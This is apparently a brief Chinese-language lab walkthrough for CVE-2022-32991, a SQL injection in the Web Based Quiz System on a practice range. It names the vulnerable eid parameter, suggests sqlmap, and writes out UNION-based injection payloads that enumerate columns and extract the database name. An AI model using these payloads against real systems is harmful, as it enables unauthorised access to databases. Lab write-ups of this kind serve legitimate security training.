春秋云镜CVE-2022-32991 Web Based Quiz System SQL注入

最近新开了一个靶场，今天也去打卡签到

CVE-2022-32991编号

进入页面之后访问/register.php先进行注册

点击start之后注入点

 此处可以可以直接进行sqlmap一把梭step=2&eid=60377db362694

关于源码下载地址

可以查看源码看到没有进行任何过滤的方式

首先使用order by 判断出存在5个字符

之后就是常规的操作

'and 1=2 union select 1,2,3,4,5--+

 页面返回3字段中存在信息

'and 1=2 union select 1,2,database(),4,5--+